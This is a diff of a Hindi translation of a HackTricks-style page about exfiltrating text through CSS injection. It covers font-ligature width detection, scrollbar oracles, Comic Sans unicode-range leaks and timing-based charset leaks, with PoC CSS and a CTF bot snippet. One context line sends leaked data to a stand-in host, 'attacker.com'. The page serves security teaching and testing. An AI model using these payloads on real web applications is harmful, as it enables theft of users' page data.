**संदर्भ:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
विवेचित तकनीक में एक नोड से टेक्स्ट को निकालने के लिए फ़ॉन्ट लिगेचर्स का उपयोग करना और चौड़ाई में परिवर्तनों की निगरानी करना शामिल है। प्रक्रिया में कई चरण शामिल हैं:
|
||||
यह तकनीक font ligatures का लाभ उठाकर और width में होने वाले परिवर्तनों को मॉनिटर करके किसी node से टेक्स्ट निकालने (extract) के बारे में बताती है। प्रक्रिया में कई चरण शामिल हैं:
|
||||
|
||||
1. **कस्टम फ़ॉन्ट्स का निर्माण**:
|
||||
1. **Creation of Custom Fonts**:
|
||||
|
||||
- SVG फ़ॉन्ट्स को ऐसे ग्लिफ़ के साथ तैयार किया जाता है जिसमें `horiz-adv-x` विशेषता होती है, जो दो वर्णों के अनुक्रम का प्रतिनिधित्व करने वाले ग्लिफ़ के लिए बड़ी चौड़ाई सेट करती है।
|
||||
- उदाहरण SVG ग्लिफ़: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, जहाँ "XY" एक दो वर्णों के अनुक्रम को दर्शाता है।
|
||||
- इन फ़ॉन्ट्स को फिर fontforge का उपयोग करके woff प्रारूप में परिवर्तित किया जाता है।
|
||||
- SVG fonts ऐसे glyphs के साथ बनाए जाते हैं जिनमें `horiz-adv-x` attribute होता है, जो दो-चरैक्टर sequence का प्रतिनिधित्व करने वाले glyph के लिए बड़ी width सेट करता है।
|
||||
- उदाहरण SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, जहाँ "XY" दो-चरैक्टर sequence दर्शाता है।
|
||||
- इन fonts को बाद में fontforge का उपयोग करके woff format में convert किया जाता है।
|
||||
|
||||
2. **चौड़ाई परिवर्तनों का पता लगाना**:
|
||||
2. **Detection of Width Changes**:
|
||||
|
||||
- CSS का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि टेक्स्ट लपेटा न जाए (`white-space: nowrap`) और स्क्रॉलबार शैली को अनुकूलित किया जाए।
|
||||
- एक विशिष्ट लिगेचर, और इसलिए एक विशिष्ट वर्ण अनुक्रम, टेक्स्ट में मौजूद होने का संकेत (oracle) देने के लिए एक अलग रूप से स्टाइल किया गया क्षैतिज स्क्रॉलबार प्रकट होता है।
|
||||
- CSS का उपयोग यह सुनिश्चित करने के लिए किया जाता है कि टेक्स्ट wrap न हो (`white-space: nowrap`) और scrollbar style को customize किया जा सके।
|
||||
- एक अलग style वाला horizontal scrollbar दिखाई देने पर यह संकेत (indicator / oracle) देता है कि एक specific ligature, और इसलिए एक specific character sequence, टेक्स्ट में मौजूद है।
|
||||
- शामिल CSS:
|
||||
```css
|
||||
body {
|
||||
@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **शोषण प्रक्रिया**:
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **चरण 1**: बड़े चौड़ाई वाले वर्णों के जोड़ों के लिए फ़ॉन्ट बनाए जाते हैं।
|
||||
- **चरण 2**: जब बड़े चौड़ाई का ग्लिफ़ (एक वर्ण जोड़ी के लिए लिगेचर) प्रस्तुत किया जाता है, तो यह संकेत देने के लिए स्क्रॉलबार-आधारित चाल का उपयोग किया जाता है कि वर्ण अनुक्रम मौजूद है।
|
||||
- **चरण 3**: एक लिगेचर का पता लगाने पर, तीन-वर्ण अनुक्रम का प्रतिनिधित्व करने वाले नए ग्लिफ़ बनाए जाते हैं, जिसमें पता लगाए गए जोड़े को शामिल किया जाता है और एक पूर्ववर्ती या उत्तरवर्ती वर्ण जोड़ा जाता है।
|
||||
- **चरण 4**: तीन-वर्ण लिगेचर का पता लगाया जाता है।
|
||||
- **चरण 5**: प्रक्रिया दोहराई जाती है, धीरे-धीरे पूरे टेक्स्ट को प्रकट करती है।
|
||||
- **Step 1**: बड़े width वाले character जोड़ों के लिए fonts बनाए जाते हैं।
|
||||
- **Step 2**: यह पता लगाने के लिए scrollbar-based trick का उपयोग किया जाता है कि कब बड़ा width glyph (किसी character pair का ligature) render हो रहा है, जो character sequence की उपस्थिति को दर्शाता है।
|
||||
- **Step 3**: एक ligature का पता चलने पर, तीन-चरैक्टर sequences का प्रतिनिधित्व करने वाले नए glyphs बनाए जाते हैं, जिनमें पाए गए pair को शामिल करके उसके आगे या पीछे एक अतिरिक्त character जोड़ा जाता है।
|
||||
- **Step 4**: तीन-चरैक्टर ligature की detection की जाती है।
|
||||
- **Step 5**: यह प्रक्रिया दोहराई जाती है, और धीरे-धीरे पूरा टेक्स्ट उजागर होता है।
|
||||
|
||||
4. **अनुकूलन**:
|
||||
- वर्तमान प्रारंभिककरण विधि `<meta refresh=...` का उपयोग करना अनुकूल नहीं है।
|
||||
- एक अधिक कुशल दृष्टिकोण CSS `@import` चाल को शामिल कर सकता है, जो शोषण के प्रदर्शन को बढ़ाता है।
|
||||
4. **Optimization**:
|
||||
- वर्तमान initialization method में `<meta refresh=...` का उपयोग किया गया है जो optimal नहीं है।
|
||||
- एक अधिक प्रभावी तरीका CSS `@import` trick का उपयोग करना हो सकता है, जिससे exploit का प्रदर्शन सुधर सकता है।
|
||||
|
||||
### टेक्स्ट नोड एक्सफिल्ट्रेशन (II): डिफ़ॉल्ट फ़ॉन्ट के साथ charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**संदर्भ:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
यह चाल इस [**Slackers थ्रेड**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) में जारी की गई थी। टेक्स्ट नोड में उपयोग किया गया charset **ब्राउज़र में स्थापित डिफ़ॉल्ट फ़ॉन्ट्स** का उपयोग करके लीक किया जा सकता है: बाहरी -या कस्टम- फ़ॉन्ट्स की आवश्यकता नहीं है।
|
||||
यह trick इस [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) में जारी किया गया था। किसी text node में प्रयुक्त charset को ब्राउज़र में pre-installed default fonts का उपयोग करके leak किया जा सकता है: किसी external या custom font की आवश्यकता नहीं है।
|
||||
|
||||
यह अवधारणा एक एनीमेशन का उपयोग करके एक `div` की चौड़ाई को क्रमिक रूप से बढ़ाने के चारों ओर घूमती है, जिससे एक समय में एक वर्ण 'सफिक्स' भाग से 'प्रिफिक्स' भाग में संक्रमण कर सकता है। यह प्रक्रिया टेक्स्ट को दो भागों में विभाजित करती है:
|
||||
इस विचार का केंद्र एक animation का उपयोग करके एक `div` की width को क्रमिक रूप से बढ़ाना है, जिससे एक-एक कर के कैरेक्टर 'suffix' भाग से 'prefix' भाग में ट्रांज़िशन कर सकें। यह प्रक्रिया टेक्स्ट को प्रभावी रूप से दो हिस्सों में बाँट देती है:
|
||||
|
||||
1. **प्रिफिक्स**: प्रारंभिक पंक्ति।
|
||||
2. **सफिक्स**: अगली पंक्ति(याँ)।
|
||||
1. Prefix: प्रारम्भिक लाइन।
|
||||
2. Suffix: बाद की लाइन(या लाइन्स)।
|
||||
|
||||
वर्णों के संक्रमण चरण इस प्रकार दिखाई देंगे:
|
||||
कैरैक्टर के ट्रांज़िशन के चरण कुछ इस तरह दिखाई देंगे:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -273,15 +309,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
इस संक्रमण के दौरान, **unicode-range ट्रिक** का उपयोग प्रत्येक नए वर्ण की पहचान करने के लिए किया जाता है जब वह प्रिफिक्स में शामिल होता है। यह Comic Sans फ़ॉन्ट को स्विच करके प्राप्त किया जाता है, जो डिफ़ॉल्ट फ़ॉन्ट की तुलना में उल्लेखनीय रूप से ऊँचा होता है, जिससे एक ऊर्ध्वाधर स्क्रॉलबार सक्रिय होता है। इस स्क्रॉलबार की उपस्थिति अप्रत्यक्ष रूप से प्रिफिक्स में एक नए वर्ण की उपस्थिति को प्रकट करती है।
|
||||
इस ट्रांज़िशन के दौरान, unicode-range trick का उपयोग प्रत्येक नए कैरेक्टर की पहचान करने के लिए किया जाता है जब वह prefix में जुड़ता है। यह Comic Sans पर स्विच करके किया जाता है, जो default font से अधिक ऊँची है, और परिणामस्वरूप एक vertical scrollbar ट्रिगर होता है। इस scrollbar के दिखाई देने से अप्रत्यक्ष रूप से यह पता चलता है कि prefix में एक नया कैरेक्टर आया है।
|
||||
|
||||
हालांकि यह विधि अद्वितीय वर्णों का पता लगाने की अनुमति देती है जब वे प्रकट होते हैं, यह यह निर्दिष्ट नहीं करती है कि कौन सा वर्ण दोहराया गया है, केवल यह कि एक पुनरावृत्ति हुई है।
|
||||
हालाँकि यह तरीका अलग-अलग unique characters का पता लगाने की अनुमति देता है जब वे दिखते हैं, यह यह निर्दिष्ट नहीं करता कि कौनसा character repeat हुआ है—सिर्फ यह बताता है कि repetition हुआ है।
|
||||
|
||||
> [!NOTE]
|
||||
> मूल रूप से, **unicode-range का उपयोग एक वर्ण का पता लगाने के लिए किया जाता है**, लेकिन चूंकि हम एक बाहरी फ़ॉन्ट लोड नहीं करना चाहते हैं, हमें एक और तरीका खोजना होगा।\
|
||||
> जब **वर्ण** **पाया** जाता है, तो इसे **पूर्व-स्थापित** **Comic Sans फ़ॉन्ट** दिया जाता है, जो **वर्ण को बड़ा** बनाता है और **स्क्रॉल बार को सक्रिय** करता है जो **पाए गए वर्ण को लीक** करेगा।
|
||||
> [!TIP]
|
||||
> मूल रूप से, the **unicode-range is used to detect a char**, लेकिन चूँकि हम external font लोड नहीं करना चाहते, हमें दूसरा तरीका ढूँढना होगा।\
|
||||
> जब **char** **found** होता है, तो उसे pre-installed **Comic Sans font** दे दिया जाता है, जो **char** को बड़ा कर देता है और **scroll bar** को **trigger** करता है जो पाए गए **char** को **leak** कर देगा।
|
||||
|
||||
PoC से निकाला गया कोड देखें:
|
||||
PoC से निकाला गया code देखें:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Text node exfiltration (III): charset को छिपाने वाले तत्वों के साथ डिफ़ॉल्ट फ़ॉन्ट द्वारा लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
यह मामला पिछले मामले के बहुत समान है, हालाँकि, इस मामले में विशेष **chars को अन्य की तुलना में बड़ा बनाना कुछ छिपाने के लिए है** जैसे कि बटन जिसे बॉट द्वारा दबाया नहीं जाना चाहिए या एक छवि जो लोड नहीं होगी। इसलिए हम क्रिया (या क्रिया की कमी) को माप सकते हैं और जान सकते हैं कि क्या पाठ के अंदर एक विशेष char मौजूद है।
|
||||
यह मामला पिछले वाले के बहुत समान है, हालांकि इस मामले में उद्देश्य कुछ विशिष्ट **chars bigger than other is to hide something** — जैसे कि ऐसा बटन जिसे bot दबाए नहीं या कोई image जो लोड न हो — छिपाना है। इसलिए हम उस क्रिया (या क्रिया की कमी) को मापकर जान सकते हैं कि क्या कोई विशिष्ट char टेक्स्ट के भीतर मौजूद है।
|
||||
|
||||
### Text node exfiltration (III): cache timing द्वारा charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
इस मामले में, हम यह लीक करने की कोशिश कर सकते हैं कि क्या एक char पाठ में है, उसी मूल से एक नकली फ़ॉन्ट लोड करके:
|
||||
इस मामले में, हम यह पता लगाने की कोशिश कर सकते हैं कि क्या कोई char टेक्स्ट में मौजूद है, वही origin से एक fake font लोड करके:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
यदि कोई मेल है, तो **फॉन्ट `/static/bootstrap.min.css?q=1` से लोड होगा**। हालांकि यह सफलतापूर्वक लोड नहीं होगा, **ब्राउज़र इसे कैश करेगा**, और यदि कैश नहीं है, तो एक **304 नॉट मॉडिफाइड** तंत्र है, इसलिए **प्रतिक्रिया अन्य चीजों की तुलना में तेज़ होनी चाहिए**।
|
||||
यदि मैच होता है, तो **फ़ॉन्ट `/static/bootstrap.min.css?q=1` से लोड होगा**। हालांकि यह सफलतापूर्वक लोड नहीं होगा, फिर भी **ब्राउज़र इसे cache कर लेना चाहिए**, और अगर cache न भी हो तो **304 not modified** मेकैनिज़्म है, इसलिए **response अन्य चीज़ों की तुलना में तेज़ होना चाहिए**।
|
||||
|
||||
हालांकि, यदि कैश की गई प्रतिक्रिया और गैर-कैश की गई प्रतिक्रिया के बीच का समय अंतर पर्याप्त बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: हालांकि, परीक्षण के बाद, मैंने पाया कि पहली समस्या यह है कि गति में ज्यादा अंतर नहीं है, और दूसरी समस्या यह है कि बॉट `disk-cache-size=1` ध्वज का उपयोग करता है, जो वास्तव में विचारशील है।
|
||||
हालाँकि, अगर cached और non-cached response के बीच समय का अंतर काफी बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: "However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful."
|
||||
|
||||
### टेक्स्ट नोड एक्सफिल्ट्रेशन (III): स्थानीय "फॉन्ट" के सैकड़ों लोडिंग के समय द्वारा charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**संदर्भ:** इसे [इस लेख में एक असफल समाधान के रूप में उल्लेख किया गया है](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** यह [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) में उल्लेखित है
|
||||
|
||||
इस मामले में आप संकेत दे सकते हैं **CSS को एक ही मूल से सैकड़ों नकली फॉन्ट लोड करने के लिए** जब एक मेल होता है। इस तरह आप **समय माप सकते हैं** और पता लगा सकते हैं कि कोई वर्ण प्रकट होता है या नहीं, जैसे:
|
||||
इस मामले में आप संकेत कर सकते हैं कि **CSS से एक ही origin से सैकड़ों fake fonts लोड किए जाएँ** जब मैच होता है। इस तरह आप **उसमें लगने वाला समय माप** सकते हैं और पता लगा सकते हैं कि कोई अक्षर प्रकट होता है या नहीं, कुछ इस तरह:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -741,13 +777,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
और बॉट का कोड इस तरह दिखता है:
|
||||
और bot’s code इस तरह दिखता है:
|
||||
```python
|
||||
browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट पर जाने पर प्रतिक्रिया समय लगभग 30 सेकंड होने की उम्मीद है। हालाँकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क में निरंतर गतिविधि होगी। परिणामस्वरूप, रोकने की स्थिति को संतुष्ट करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग यह निर्धारित करने के लिए एक संकेतक के रूप में किया जा सकता है कि क्या फ़ॉन्ट मेल खाता है।
|
||||
तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट पर विज़िट करने पर प्रतिक्रिया समय लगभग 30 सेकंड अनुमानित है। हालांकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क पर लगातार गतिविधि होगी। परिणामस्वरूप, stop condition को संतुष्ट करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, यह निर्धारित करने के लिए कि फ़ॉन्ट मेल खाता है या नहीं, प्रतिक्रिया समय को एक संकेतक के रूप में उपयोग किया जा सकता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
@ -755,5 +791,11 @@ time.sleep(30)
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
|
||||
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
|
||||
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
|
||||
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
|
||||
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
|
||||
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user